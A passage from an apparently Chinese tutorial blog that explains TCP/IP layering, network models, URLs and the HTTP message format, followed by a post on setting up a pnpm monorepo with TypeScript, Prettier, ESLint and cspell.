3. 浏览器通过 **TCP 三次握手** 连接目标服务器的 443 端口。
4. 双方交换 HTTPS 数据（基于 TCP）。
5. 网页加载完，四次挥手断开连接。

所以一次网页加载，其实 **TCP 和 UDP 都有登场**。

### 数据的传输

![](https://img.yumgjs.com/2025/10/18/68f3a80d1e979.png)

```mermaid
sequenceDiagram
    participant UserA as 👤 发送方用户
    participant AppA as 💻 应用层（发送方）
    participant TransA as 📦 传输层（TCP/UDP）
    participant NetA as 🌐 网络层（IP）
    participant LinkA as 🔌 数据链路层（MAC）
    participant Channel as 🛣️ 物理传输介质
    participant LinkB as 🔌 数据链路层（接收方）
    participant NetB as 🌐 网络层（接收方）
    participant TransB as 📦 传输层（TCP/UDP）
    participant AppB as 💻 应用层（接收方）
    participant UserB as 👤 接收方用户

    UserA->>AppA: 输入消息：“你好，对方！”
    AppA->>TransA: 应用层封装（加上HTTP头等）
    TransA->>NetA: 传输层封装（加上TCP/UDP头）
    NetA->>LinkA: 网络层封装（加上IP头）
    LinkA->>Channel: 数据链路层封装（加上MAC头）
    Note right of LinkA: 🧱 多层封装后形成「帧」

    Channel-->>LinkB: 比特流传输（0/1信号）
    Note over Channel: 🛫 封装后的数据跨网络传输

    LinkB->>NetB: 数据链路层解封装（去掉MAC头）
    NetB->>TransB: 网络层解封装（去掉IP头）
    TransB->>AppB: 传输层解封装（去掉TCP/UDP头）
    AppB->>UserB: 应用层解封装（显示内容）

    UserB-->>UserA: 回复：“收到了！”

```

应用把数据交给 **传输层（TCP/UDP）** → 传输层分段并加头 → 交给 **网络层（IP）** 加 IP 头 → 交给 **链路层（Ethernet）** 加 MAC 头变成帧 → **网卡** 把帧变为电/光信号发出去 → 中间设备（交换机/路由器）按照 MAC/IP 转发 → 目标网卡接收信号，驱动/内核做解封装，一层层上交到目标应用。

**简化的例子（完整头部栈）**

应用：HTTP 请求（例如 `GET /`）
传输层：TCP（源端口 54321 -> 目标端口 80）
网络层：IPv4（源 IP 10.0.0.2 -> 目标 IP 93.184.216.34）
链路层：Ethernet（源 MAC aa:aa:aa:aa:aa:aa -> 目标 MAC bb:bb:bb:bb:bb:bb）

最终发送的是一帧（Frame），内部封装结构大致是：

```bash
Ethernet Header | IP Header | TCP Header | HTTP Payload
```

#### 逐步深剖（发送端，从上到下）

##### 起点：应用层（在用户空间）

* **位置**：用户进程（浏览器、curl、你的程序），用户空间（user space）。
* **操作**：
  * 通过 socket API（例如 `send()` / `write()`）将数据提交给传输层（通常内核的 socket 实现）。
  * 应用“只关心”要发送的字节流或消息，不关心分段、重传、路由细节。
* **职责**：构建应用数据（HTTP 请求、视频帧、DNS 查询），并选择使用 TCP 还是 UDP（通过 socket 类型/端口）。

##### 传输层（内核的 TCP/UDP 实现）

* **位置**：操作系统内核网络栈（kernel space）。
* **操作（以 TCP 为例）**：
  * 接收应用的数据，做**分段（segmentation）**：把大数据分成不超过 MSS（最大报文段大小）的 TCP 段。
  * 为每个段添加 **TCP 头**（序列号、ACK、窗口大小、标志位、校验和、源/目的端口等）。
  * 管理 TCP 状态机（SYN/ESTABLISHED/FIN 等）、重传队列、确认处理、拥塞控制（慢启动、拥塞避免、快重传等）。
  * 维护发送缓冲区（如果拥塞/对端窗口小，可能阻塞或缓冲数据）。
* **输出**：带 TCP 头的数据块交给内核的 IP 层。

##### 网络层（IP 层，内核）

* **位置**：内核（routing 子系统）。
* **操作**：
  * 为每个 TCP 段添加 **IP 头**（源/目标 IP、TTL、协议字段、分片字段、校验和等）。
  * 根据路由表决定下一跳（直接在同一网段就直接到目标 MAC，否则发给默认网关）。
  * 可能对大包进行 IP 分片（当包比下层 MTU 大时），但现代网络更常见的是在传输层进行分段/路径 MTU 发现（PMTU）。
* **输出**：IP 数据报（包含 TCP 段）交给数据链路层（下一跳的 MAC 地址）。

##### 数据链路层（Ethernet，内核 + 驱动）

* **位置**：内核 + 网卡驱动（device driver）。
* **操作**：
  * 查 ARP 缓存：将目的 IP 映射为目的 MAC（如果没有，发 ARP 广播请求来询问谁是该 IP）。
  * 构造 **Ethernet 帧**：在 IP 前面加上以太网帧头（目标 MAC、源 MAC、EtherType）以及帧尾（FCS，帧校验序列—通常由网卡硬件计算）。
  * 如果启用了 VLAN/MPLS 等，也会在这里插入相应头。
  * 如果帧大小小于最小帧长，会进行填充。
* **输出**：帧交给网卡设备（驱动通过 DMA 把内存中的帧传给网卡）。

##### 网卡/PHY（硬件）

* **位置**：网卡（NIC）和物理层（PHY）。
* **操作**：
  * 驱动告诉 NIC 的发送队列（ring buffer）去发送这个帧；通常通过 DMA 把帧数据放入网卡内存；
  * NIC 执行校验（如 FCS）、可能做 **硬件卸载**（checksum offload、TCP segmentation offload），并把数据变换成电信号/光信号；
  * 将信号通过介质（以太网线、Wi-Fi 天线）发送出去。
* **注意**：现代 NIC 可以做很多“加速”工作（校验、分段、时间戳），减少 CPU 负担。

***

**在网络中间：交换机 / 路由器 / NAT / 防火墙（转发/修改发生地）**

***

##### 交换机（Layer 2）

* **位置**：网络设备（物理交换机或虚拟交换机）。
* **操作**：
  * 读取 Ethernet 帧的目标 MAC；
  * 从 CAM 表（MAC 表）查找目标 MAC 所在端口并单播转发；如果未知，则洪泛（广播到所有端口）；
* **职责**：局域网内高效转发，不看 IP。

##### 路由器（Layer 3）

* **位置**：路由器或三层交换设备，甚至 “家庭路由器”。
* **操作**：
  * 根据 IP 头的目的地址查路由表，决定下一跳；
  * 可能会 **修改 MAC 头**（替换为下一跳的 MAC）、调整 TTL（减 1）、重新计算 IP 校验和；
  * 如果遇到 NAT（私网 ↔ 公网），会修改源/目的 IP/端口并维护 NAT 映射表（这是状态化的）。
* **职责**：跨网段转发，做路由选择，并处理 NAT/防火墙规则（可能阻止或修改流量）。

***

**目标端：接收端的逆向步骤（下到上）**

***

##### 网卡接收帧（硬件）

* **位置**：目标设备的 NIC。
* **操作**：
  * 接收电/光信号并恢复成帧；
  * 做 FCS 校验，若校验失败就丢弃帧；
  * 将帧通过 DMA 放入内存接收环（rx ring），并发起中断或使用 NAPI（Linux 的零拷贝/批量接收优化）通知内核驱动。

##### 链路层解封装（内核/驱动）

* **位置**：内核驱动 + 网络栈。
* **操作**：
  * 驱动把帧交给内核网络栈；
  * 检查目标 MAC 是否本机（或广播 / 多播），若不是则丢弃；
  * 去掉 Ethernet 头，交给 IP 层处理；
  * 如果有 VLAN 标签，先处理 VLAN。

##### 网络层（IP）解封装

* **位置**：内核。
* **操作**：
  * 检查 IP 头（版本、校验和、TTL、目的地址是否是本机）；
  * 若目标是本机，解开 IP 包，把里面数据交给相应的传输层（通过 protocol 字段判断是 TCP/UDP/ICMP 等）；
  * 若分片，进行分片重组（如果分片被使用）；若 TTL 到 0，丢弃并可发 ICMP 超时。
* **注意**：如果到达的是路由器而非最终目的地，路由器会继续转发而不是上交给传输层。

##### 传输层（TCP/UDP）解封装

* **位置**：内核。
* **操作（TCP）**：
  * 去掉 TCP 头，检查校验和；
  * 根据端口号找到对应的 socket（属于某个用户进程）；
  * 处理序列号、重传、乱序缓存、确认（内核会向发送方发送 ACK）；
  * 将数据复制到目标进程的接收缓冲区（或使用零拷贝技术减少复制）。
* **输出**：当应用调用 `recv()`/`read()` 时，内核把数据从 socket 缓冲区返回给用户进程。

##### 应用层（用户空间）

* **位置**：目标进程。
* **操作**：应用读取数据并处理（渲染网页、播放音频、保存文件等）。

#### 抽象与封装

**每一层只“认识”自己的头/尾**

**封装原则**：每一层**只添加/移除自己负责的头信息**，并只关注“向上层传输的数据何去何从”或“向下层如何传输”。

**例如**：IP 层不知道 HTTP 的具体内容；应用层不知道 MAC 是什么。

**抽象边界**：应用通过 socket（系统调用）与传输层交互；传输层与网络层在内核内部接口交互；链路层最终和硬件交互。

### 网络模型

![](https://img.yumgjs.com/2025/10/18/68f3a828aa52a.png)

**OSI 七层模型** 是最早提出的一个**理论标准模型**；

**TCP/IP 模型** 是根据**实际互联网协议栈实现**抽象出来的；

**五层模型** 则是**教学简化版**，用来**更好地理解 TCP/IP 的分层通信**。

#### OSI 七层模型

**OSI（Open Systems Interconnection）模型**，是国际标准化组织（ISO）在 1984 年提出的，目标是让不同系统之间的通信有统一规范。

**七层结构（从下到上）**

| 层级 | 名称                   | 功能概述                 | 举例                         |
| ---- | ---------------------- | ------------------------ | ---------------------------- |
| 7️⃣    | 应用层 (Application)   | 为用户提供网络服务       | HTTP、FTP、SMTP、DNS         |
| 6️⃣    | 表示层 (Presentation)  | 数据格式转换、加密、压缩 | SSL/TLS、JPEG、MP3           |
| 5️⃣    | 会话层 (Session)       | 维护会话、建立和管理连接 | NetBIOS、RPC                 |
| 4️⃣    | 传输层 (Transport)     | 提供端到端的可靠传输     | TCP、UDP                     |
| 3️⃣    | 网络层 (Network)       | 路由选择、逻辑寻址       | IP、ICMP                     |
| 2️⃣    | 数据链路层 (Data Link) | MAC 地址寻址、帧传输     | Ethernet、PPP                |
| 1️⃣    | 物理层 (Physical)      | 比特流传输、电信号       | 网线、电缆、光纤、Wi-Fi 信号 |

**特点**

* 理论非常完整；
* 各层职责非常明确；
* 但实际实现中，**太理想化**，很多层（尤其 5~7 层）在现实协议中是混在一起的。

#### TCP/IP 四层模型

TCP/IP 模型是基于 **实际互联网协议栈的实现** 总结出来的，它是 **OSI 的简化和实用版本**，现在几乎所有网络通信都遵循它。

**四层结构**

| 层级 | 名称                 | 对应 OSI 层        | 功能           | 示例协议             |
| ---- | -------------------- | ------------------ | -------------- | -------------------- |
| 4️⃣    | 应用层               | 应用 + 表示 + 会话 | 为用户提供服务 | HTTP、DNS、SMTP、SSH |
| 3️⃣    | 传输层               | 传输层             | 端到端通信     | TCP、UDP             |
| 2️⃣    | 网络层               | 网络层             | IP 地址、路由  | IP、ICMP、ARP        |
| 1️⃣    | 网络接口层（链路层） | 数据链路 + 物理层  | 数据帧传输     | Ethernet、Wi-Fi、PPP |

**特点**

* 实际互联网协议就是按它实现的；
* 逻辑清晰；
* 一些层被合并了（如 OSI 的上三层统一为“应用层”）。

#### TCP/IP 五层模型

在计算机网络课程中，常用“五层模型”作为讲解工具，它介于 OSI 七层 和 TCP/IP 四层 之间，**更清晰地展示每层作用**。

**五层结构**

| 层级 | 名称       | 职责                   | 举例协议             |
| ---- | ---------- | ---------------------- | -------------------- |
| 5️⃣    | 应用层     | 直接为应用提供服务     | HTTP、DNS、FTP       |
| 4️⃣    | 传输层     | 进程间通信，可靠性保证 | TCP、UDP             |
| 3️⃣    | 网络层     | 选路、寻址             | IP、ICMP             |
| 2️⃣    | 数据链路层 | MAC 地址通信、成帧     | Ethernet、Wi-Fi      |
| 1️⃣    | 物理层     | 比特流传输             | RJ45、光纤、射频信号 |

**特点**

* 比 TCP/IP 四层模型更细（拆分了最底层）；
* 更容易讲解封装、解封装过程；
* 教科书（如谢希仁《计算机网络》）最常用这个。

## 应用层协议

### URL

![](https://img.yumgjs.com/2025/10/18/68f3a8877390b.png)

URL（Uniform Resource Locator）就是**统一资源定位符**，本质上就是告诉浏览器或程序**去哪拿资源**，以及用什么协议去访问它。

![](https://img.yumgjs.com/2025/10/18/68f3a89ea742f.png)

URL 格式：

```http
协议://域名[:端口]/路径[?查询参数][#锚点]
```

示例：

```http
https://www.example.com:443/path/file.html?query=1#top
```

`https` → **协议**

`www.example.com` → **域名/服务器地址**

`443` → **端口**（可省略，浏览器会默认端口）

`/path/file.html` → **路径**

`?query=1` → **查询参数**（GET 参数）

`#top` → **页面锚点**（前端用）

#### 常见 URL 协议

##### HTTP/HTTPS

* **HTTP**（HyperText Transfer Protocol）
  * 无加密，用于普通网页或 API 请求
  * 默认端口 80
* **HTTPS**（HTTP over TLS/SSL）
  * 加密版 HTTP，保证数据安全
  * 默认端口 443
* 使用场景：网页访问、API 请求、RESTful 通信

##### FTP / SFTP

* **FTP**（File Transfer Protocol）
  * 用于文件上传/下载
  * 默认端口 21
* **SFTP**（SSH File Transfer Protocol）
  * 基于 SSH 加密的文件传输
  * 默认端口 22
* 使用场景：服务器文件管理、部署

##### 邮件协议

* **SMTP**（Simple Mail Transfer Protocol）
  * 发送邮件
  * 默认端口 25/587
* **POP3 / IMAP**
  * 收邮件
  * POP3 默认 110，IMAP 默认 143

##### 其他常见协议

* **file://** → 访问本地文件
* **data://** → 内联数据，例如小图片 base64
* **ws:// / wss://** → WebSocket（实时通信）
  * ws 默认 80，wss 默认 443
* **tel://** → 电话链接
* **mailto://** → 邮件链接

#### 端口和协议

| 协议  | 默认端口 | 是否加密 |
| ----- | -------- | -------- |
| HTTP  | 80       | ❌        |
| HTTPS | 443      | ✅        |

* 当你在浏览器输入 `http://example.com` → 浏览器默认去 **80 端口**
* 输入 `https://example.com` → 默认去 **443 端口**
* 也可以显式写端口，例如：`https://example.com:8443` → 浏览器就去 8443 端口

**为什么 nginx、Caddy 都监听 80 和 443**

1. **80 是 HTTP**：
   * 用于普通未加密网页或从 HTTP 重定向到 HTTPS
   * 用户不写端口号时自动访问 80
2. **443 是 HTTPS**：
   * 用于加密访问
   * 浏览器默认 HTTPS 就会访问 443
3. **监听端口 = 服务端入口**：
   * 服务器进程（nginx、Caddy）在操作系统上绑定这些端口
   * 这样客户端请求就可以打到你的应用层（HTTP/HTTPS 协议处理）

**总结**：**不写端口号 = 用协议默认端口，正好打到服务器监听的入口，服务器再把请求交给应用层处理**。

**精简**：

当你在浏览器输入一个 URL（例如 `https://example.com`）时，URL 的协议（HTTP 或 HTTPS）决定了客户端要使用哪种应用层协议，同时也决定默认端口（HTTP 默认 80，HTTPS 默认 443）。

浏览器会把请求发送到域名解析出的服务器 IP 和对应端口，服务器（如 nginx 或 Caddy）在这些端口上监听，接收请求后再交给应用层处理。也就是说，不写端口号时，浏览器自动用协议默认端口，正好对应服务器的监听入口，从而完成整个应用层的数据传输流程。

### HTTP

HTTP（HyperText Transfer Protocol）是应用层协议，负责客户端和服务器之间的请求与响应。它只定义数据怎么传，不负责数据怎么送（传输任务由 TCP/IP 完成）。

该协议规定了两个方面的内容：

* **传递消息的模式**
* **传递消息的格式**

![](https://img.yumgjs.com/2025/10/18/68f3a8fe9762b.png)

```bash
客户端（浏览器/APP） ---- 请求(Request) ----> 服务器
客户端（浏览器/APP） <---- 响应(Response) ---- 服务器
```

HTTP使用了一种极为简单的消息传递模式，「请求-响应」模式

发起请求的称之为客户端，接收请求并完成响应的称之为服务器。

「请求-响应」完成后，一次交互结束。

##### 传递消息的格式

![](https://img.yumgjs.com/2025/10/18/68f3aafd3b20e.png)

HTTP的消息格式是一种纯文本的格式，文本分为三个部分：

```http
请求行
请求头

请求体
```

**注意**：请求体和请求头中间空了一行

##### 实践

1. 有非常多的工具可以发送http请求，这里推荐一个非常直观的工具

2. 安装`vscode`插件`REST Clinet`

3. 新建文件`xxx.http`

4. 编写请求文本

5. ```http
   POST /api/user/login HTTP/1.1
   Host: study.duyiedu.com
   Content-Type: application/json

   {
     "loginId":"admin",
     "loginPwd":"123123"
   }
   ```

6. 发送请求

---

---
url: /posts/grgive44/index.md
---
## 工程管理方案

在前端/全栈工程管理中，常见两种仓库组织方式：

![monorepo vs multirepo](https://resource.duyiedu.com/yuanjin/202509190953043.svg)

常见monorepo管理工具：pnpm，npm，Yarn，Lerna，Nx，Turborepo，Rush...

任务编排工具（turbo/nx）

### Multirepo（多仓库）

* 一个项目一个仓库
* 发布与权限管理清晰
* 适合独立产品、团队边界明确的场景

缺点：

* 公共代码难复用
* 多仓库版本同步困难
* 跨仓库协作成本高

### Monorepo（单体仓库）

* 多个项目/包放在同一个仓库
* 统一依赖管理、统一规范
* 内部包可直接引用，开发体验极佳

适合：

* 大型业务系统
* 组件库 + 工具库 + 多应用共存
* 多端项目统一治理

## 目录结构

```markdown
root/
├── apps/              # 应用层（页面/服务）
│   ├── web/           # 前端应用
│   ├── admin/         # 管理后台
│   └── server/        # 后端服务
│
├── packages/          # 公共基础设施包
│   ├── utils/         # 工具库
│   ├── ui/            # UI组件库
│   └── config/        # eslint/prettier共享配置
│
├── docs/              # 文档站点 / 规范说明
│
├── pnpm-workspace.yaml
├── package.json
└── tsconfig.base.json
```

### apps：业务应用层

* 页面类型的项目放在这里
* 可以自由编排前端、后端、微服务

### packages：公共基建层

* 工具函数
* 组件库
* 通用配置
* 可发布 npm 包

### docs：文档层

* 项目说明
* 设计文档
* 组件文档站

## pnpm Workspace 基础

### 子包声明：pnpm-workspace.yaml

```yaml
packages:
  - "apps/*"
  - "packages/*"
  - "docs/*"
```

该文件决定哪些目录会被识别为 workspace 子包。

### 根目录执行命令

```bash
pnpm --workspace-root init
# 简写
pnpm -w init
```

作用：强制在根目录执行命令。

### 在指定子包中执行命令

方式 1：进入目录执行

```bash
cd packages/utils
pnpm dev
```

方式 2：使用 -C

```bash
pnpm -C packages/utils dev
```

## 包命名与依赖引用

### package.json name 支持命名空间

```json
{
  "name": "@my-org/utils"
}
```

作用域包（@开头）更适合 monorepo。

### workspace 内部包引用

```js
{
  "dependencies": {
    "@my-org/utils": "workspace:*"
  }
}
```

特点：

* pnpm 会自动软链接到本地包
* 永远使用最新代码
* 不需要发布即可开发

## Node / pnpm 版本锁定

### engines 字段

```json
{
  "engines": {
    "node": ">=22.14.0",
    "npm": ">=10.9.2",
    "pnpm": ">=10.15.1"
  }
}
```

版本不一致会警告。

### 强制严格模式

在 `.npmrc` 中：

```json
engine-strict=true
```

不符合版本直接报错。

## TypeScript 配置治理

推荐：根目录统一配置 + 子包覆盖。

### 安装

```bash
pnpm -Dw add typescript @types/node
```

### 根目录：tsconfig.json

```json
// tsconfig.json
{
  "compilerOptions": {
    "baseUrl": ".",
    "module": "esnext",
    "target": "esnext",
    "types": [],
    "lib": ["esnext"],
    "sourceMap": true,
    "declaration": true,
    "declarationMap": true,
    "noUncheckedIndexedAccess": true,
    "exactOptionalPropertyTypes": true,
    "strict": true,
    "verbatimModuleSyntax": false,
    "moduleResolution": "bundler",
    "isolatedModules": true,
    "noUncheckedSideEffectImports": true,
    "moduleDetection": "force",
    "skipLibCheck": true
  },
  "exclude": ["node_modules", "dist"]
}
```

### 子包继承

```json
// apps/backend/tsconfig.json
{
  "extends": "../../tsconfig.json",
  "compilerOptions": {
    "types": ["node"],
    "lib": ["esnext"]
  },
  "include": ["src"]
}
```

```json
// apps/frontend/tsconfig.json
{
  "extends": "../../tsconfig.json",
  "compilerOptions": {
    "types": ["node"],
    "lib": ["esnext", "DOM"]
  },
  "include": ["src"]
}
```

## Prettier：统一格式化

安装到根目录：

```bash
pnpm -Dw add prettier
```

### 忽略文件：.prettierignore

```json
# .prettierignore
dist
public
.local
node_modules
pnpm-lock.yaml
```

### 配置文件

```json
// prettier.config.js
/**
 * @type {import('prettier').Config}
 * @see https://www.prettier.cn/docs/options.html
 */
export default {
  // 指定最大换行长度
  printWidth: 120,
  // 缩进制表符宽度 | 空格数
  tabWidth: 2,
  // 使用制表符而不是空格缩进行 (true：制表符，false：空格)
  useTabs: false,
  // 结尾不用分号 (true：有，false：没有)
  semi: true,
  // 使用单引号 (true：单引号，false：双引号)
  singleQuote: false,
  // 在对象字面量中决定是否将属性名用引号括起来 可选值 "<as-needed|consistent|preserve>"
  quoteProps: "as-needed",
  // 在JSX中使用单引号而不是双引号 (true：单引号，false：双引号)
  jsxSingleQuote: false,
  // 多行时尽可能打印尾随逗号 可选值"<none|es5|all>"
  trailingComma: "none",
  // 在对象，数组括号与文字之间加空格 "{ foo: bar }" (true：有，false：没有)
  bracketSpacing: true,
  // 将 > 多行元素放在最后一行的末尾，而不是单独放在下一行 (true：放末尾，false：单独一行)
  bracketSameLine: false,
  // (x) => {} 箭头函数参数只有一个时是否要有小括号 (avoid：省略括号，always：不省略括号)
  arrowParens: "avoid",
  // 指定要使用的解析器，不需要写文件开头的 @prettier
  requirePragma: false,
  // 可以在文件顶部插入一个特殊标记，指定该文件已使用 Prettier 格式化
  insertPragma: false,
  // 用于控制文本是否应该被换行以及如何进行换行
  proseWrap: "preserve",
  // 在html中空格是否是敏感的 "css" - 遵守 CSS 显示属性的默认值， "strict" - 空格被认为是敏感的 ，"ignore" - 空格被认为是不敏感的
  htmlWhitespaceSensitivity: "css",
  // 控制在 Vue 单文件组件中 <script> 和 <style> 标签内的代码缩进方式
  vueIndentScriptAndStyle: false,
  // 换行符使用 lf 结尾是 可选值 "<auto|lf|crlf|cr>"
  endOfLine: "auto",
  // 这两个选项可用于格式化以给定字符偏移量（分别包括和不包括）开始和结束的代码 (rangeStart：开始，rangeEnd：结束)
  rangeStart: 0,
  rangeEnd: Infinity
};
```

### 脚本命令

```json
"scripts":{
    "lint:prettier": "prettier --write \"**/*.{js,ts,mjs,cjs,json,tsx,css,less,scss,vue,html,md}\"",
}
```

## ESLint：统一代码规范

**一份根配置管全局**，同时允许各子包（apps/packages）按需“覆盖/细分”

### 安装依赖

```bash
pnpm -Dw add eslint @eslint/js globals typescript-eslint eslint-plugin-prettier eslint-config-prettier eslint-plugin-vue
```

说明：

* **eslint-config-prettier**：关闭与 Prettier 冲突的 ESLint 规则（推荐）。
* **eslint-plugin-prettier**：把 Prettier 以 ESLint 规则形式跑起来（可选；团队里常见做法是“Prettier 单独跑”，不用插件）。
* **eslint-plugin-vue**：Vue.js 支持
* **eslint**：核心引擎
* **@eslint/js**：官方规则集
* **globals**：全局变量支持
* **typescript-eslint**：TypeScript 支持

`eslint.config.js` 相比 `.eslintrc` 更易组合、也更适合 monorepo 的“分段配置”。

::: details 完整配置

```json
import { defineConfig } from "eslint/config";
import eslint from "@eslint/js";
import tseslint from "typescript-eslint";
import eslintPluginPrettier from "eslint-plugin-prettier";
import eslintPluginVue from "eslint-plugin-vue";
import globals from "globals";
import eslintConfigPrettier from "eslint-config-prettier/flat";

const ignores = ["**/dist/**", "**/node_modules/**", ".*", "scripts/**", "**/*.d.ts"];

export default defineConfig(
  // 通用配置
  {
    ignores, // 忽略项
    extends: [eslint.configs.recommended, ...tseslint.configs.recommended, eslintConfigPrettier], // 继承规则
    plugins: {
      prettier: eslintPluginPrettier
    },
    languageOptions: {
      ecmaVersion: "latest", // ecma语法支持版本
      sourceType: "module", // 模块化类型
      parser: tseslint.parser // 解析器
    },
    rules: {
      // 自定义
    }
  },
  // 前端配置
  {
    ignores,
    files: ["apps/frontend/**/*.{ts,js,tsx,jsx,vue}", "packages/components/**/*.{ts,js,tsx,jsx,vue}"],
    extends: [...eslintPluginVue.configs["flat/recommended"], eslintConfigPrettier],
    languageOptions: {
      globals: {
        ...globals.browser
      }
    }
  },
  // 后端配置
  {
    ignores,
    files: ["apps/backend/**/*.{ts,js}"],
    languageOptions: {
      globals: {
        ...globals.node
      }
    }
  }
);
```

:::

```js
// eslint.config.js
import js from '@eslint/js'
import globals from 'globals'
import tseslint from 'typescript-eslint'
import vue from 'eslint-plugin-vue'
import eslintConfigPrettier from 'eslint-config-prettier'

export default [
  // 全局忽略（等价于 .eslintignore；建议集中写在这里）
  {
    ignores: [
      '**/node_modules/**',
      '**/dist/**',
      '**/build/**',
      '**/.output/**',
      '**/.next/**',
      '**/coverage/**',
      '**/*.min.*',
      '**/*.d.ts'
    ]
  },

  // JS 推荐规则
  js.configs.recommended,

  // TS 推荐规则
  ...tseslint.configs.recommended,

  // 全局语言/运行时配置
  {
    languageOptions: {
      ecmaVersion: 'latest',
      sourceType: 'module',
      globals: {
        ...globals.browser,
        ...globals.node
      }
    },
    rules: {
      // 团队的“全局统一规则”
      'no-console': ['warn', { allow: ['warn', 'error'] }],
      'no-debugger': 'warn'
    }
  },

  // Vue 子包规则（仅对 *.vue 生效）
  ...vue.configs['flat/recommended'],
  {
    files: ['**/*.vue'],
    rules: {
      // 示例：按团队偏好调整
      'vue/multi-word-component-names': 'off'
    }
  },

  // Prettier 冲突处理（放在最后）
  eslintConfigPrettier
]
```

### 细分组合

可以用多个 config block 叠加：

* `ignores`: 全局忽略
* `files`: 让某段规则仅匹配特定文件/目录
* `rules`: 为某类文件定义规则
* `languageOptions`: 运行时环境、parserOptions、globals 等

举例：给 apps 下的前端项目更严格，给 packages 下的库包更偏向发布质量：

```js
{
  files: ['apps/**/**/*.{ts,tsx,vue,js,jsx}'],
  rules: {
    // 前端业务：允许更灵活
  }
},
{
  files: ['packages/**/**/*.{ts,tsx,js,jsx}'],
  rules: {
    // 库包：更建议禁止默认导出等（按团队习惯）
  }
}
```

### 类型感知

如果希望启用更强的 TS 规则（需要读取 tsconfig），可以加一段 **Type-Aware** 配置。注意：它会更耗时，适合 CI 或对 packages 严格一些。

```js
// 加在 configs 里（放在 TS recommended 之后）
{
  files: ['**/*.{ts,tsx}'],
  languageOptions: {
    parserOptions: {
      // monorepo 常用：让 ESLint 自动找到各子包的 tsconfig
      projectService: true,
      tsconfigRootDir: import.meta.dirname
    }
  },
  rules: {
    // 示例：类型感知类规则（可按需选）
    '@typescript-eslint/no-floating-promises': 'error'
  }
}
```

**提示**：如果遇到“找不到 tsconfig / project 太多导致慢”，可只对 `packages/**` 启用 type-aware，或在 CI 启用。

### 继承/覆盖

方式 A：只用根配置，用 files 做目录级细分（最省心）

* 所有规则都在根 `eslint.config.js`
* 通过 `files: ['apps/**']` 等细分

方式 B：抽共享配置包 packages/config（更工程化）

适合：多个 repo/多个 workspace 想复用同一套规范。

结构示例：

```bash
packages/
  config/
    eslint/
      index.js
apps/
  web/
    eslint.config.js
```

`packages/config/eslint/index.js` 导出通用配置：

```js
import js from '@eslint/js'
import globals from 'globals'
import tseslint from 'typescript-eslint'
import eslintConfigPrettier from 'eslint-config-prettier'

export function baseConfig() {
  return [
    { ignores: ['**/dist/**', '**/node_modules/**'] },
    js.configs.recommended,
    ...tseslint.configs.recommended,
    {
      languageOptions: {
        globals: { ...globals.browser, ...globals.node }
      }
    },
    eslintConfigPrettier
  ]
}
```

子包 `apps/web/eslint.config.js`：

```js
import { baseConfig } from '@my-org/config/eslint'
import vue from 'eslint-plugin-vue'

export default [
  ...baseConfig(),
  ...vue.configs['flat/recommended'],
  {
    files: ['**/*.vue'],
    rules: { 'vue/multi-word-component-names': 'off' }
  }
]
```

这样“通用规则”放在 config 包里，子包只写差异，维护成本最低。

### 忽略文件

更推荐把忽略写进 `eslint.config.js` 的 `ignores`

也可以保留 `.eslintignore`，但建议最终统一到一处，避免两边不一致。

### 命令脚本

根目录 `package.json`：

```json
{
  "scripts": {
    "lint:eslint": "eslint . --cache --cache-location .cache/eslint",
    "lint:eslint:fix": "eslint . --fix --cache --cache-location .cache/eslint"
  }
}
```

子包定向 lint（可选）：

```bash
pnpm --filter @my-org/utils lint:eslint
```

`--cache` 能显著提升二次运行速度；`.cache/` 记得加入 gitignore。

## 拼写检查

拼写检查这块常见有两条路：

* **VS Code 插件（Code Spell Checker）**：上手快、体验好、个人开发很爽。
* **项目内置 cspell（推荐）**：把规则写进仓库，做到“谁拉代码谁一致”。

结论：**插件可以用（提升体验）**，但 **团队规范一定要落到仓库里**（CI 可执行、人人一致）。

### VS Code 插件

**优点**

* 实时提示拼写问题，反馈非常快
* 支持一键修复、忽略、加入字典
* 对写英文注释、文档、变量名很友好

**局限**

* 插件属于“个人环境”：有人装有人不装、版本也可能不同
* 规则与字典不一定跟仓库走，**CI 无法强制**
* 多编辑器（WebStorm、Vim）团队不好统一

因此更推荐：

* **把 cspell 配置写进仓库**（统一规则）
* **插件作为增强**（更好用的交互）

### cspell

* 配置文件在仓库（`cspell.json`），新人 clone 下来即生效
* 命令行可运行：本地、pre-commit、CI 都能用
* 自定义字典可版本管理（团队专有名词、接口字段、品牌词、缩写等）
* 可精确忽略路径/文件类型，避免对构建产物、锁文件等“误伤”

### 安装

```bash
pnpm -Dw add cspell @cspell/dict-lorem-ipsum
```

可按需换成相关技术栈字典，例如：

* `@cspell/dict-typescript`
* `@cspell/dict-node`
* `@cspell/dict-html` / `@cspell/dict-css` 等

### 配置文件

含自定义字典，在根目录新建 `cspell.json`：

```json
{
  "import": ["@cspell/dict-lorem-ipsum/cspell-ext.json"],
  "caseSensitive": false,
  "dictionaries": ["custom-dictionary"],
  "dictionaryDefinitions": [
    {
      "name": "custom-dictionary",
      "path": "./.cspell/custom-dictionary.txt",
      "addWords": true
    }
  ],
  "ignorePaths": [
    "**/node_modules/**",
    "**/dist/**",
    "**/build/**",
    "**/lib/**",
    "**/docs/**",
    "**/vendor/**",
    "**/public/**",
    "**/static/**",
    "**/out/**",
    "**/tmp/**",
    "**/*.d.ts",
    "**/package.json",
    "**/*.md",
    "**/stats.html",
    "eslint.config.mjs",
    ".gitignore",
    ".prettierignore",
    "cspell.json",
    "commitlint.config.js",
    ".cspell"
  ]
}
```

然后创建字典文件：`./.cspell/custom-dictionary.txt`

```bash
monorepo
pnpm
vitepress
husky
lintstaged
```

**团队实践建议**

* 把“业务专有词/缩写/产品名/接口字段”都放进这个文件
* PR 里如果出现新名词，就顺手补到字典里（减少反复报警）

### 命令脚本

根目录 `package.json`：

```json
{
  "scripts": {
    "lint:spellcheck": "cspell lint \"(packages|apps)/**/*.{js,ts,mjs,cjs,json,tsx,css,less,scss,vue,html,md}\""
  }
}
```

* 生成物、依赖、锁文件会产生大量噪音
* 只扫“会被人读/改”的源码与文档，性价比最高

### 配合

团队标准：以仓库里的 `cspell.json` 为准（CI / pre-commit 跑它）

个人体验：安装 **Code Spell Checker** 插件

插件会读取项目里的 cspell 配置（通常能自动识别）

常用能力：

* **Add Word to Workspace Dictionary**（一键加入 `custom-dictionary.txt`）
* Ignore Word / Ignore Line
* Quick Fix 批量修正

这样可以实现：

* **每个人开发时都有即时提示**（插件）
* **提交前/CI 一定能兜底**（命令行 cspell）

## Git 提交规范

`Commitizen + Commitlint + cz-git` 这一套的目标是：

* **统一提交信息格式**（Conventional Commits）
* **提交时交互式引导**（不用背模板）
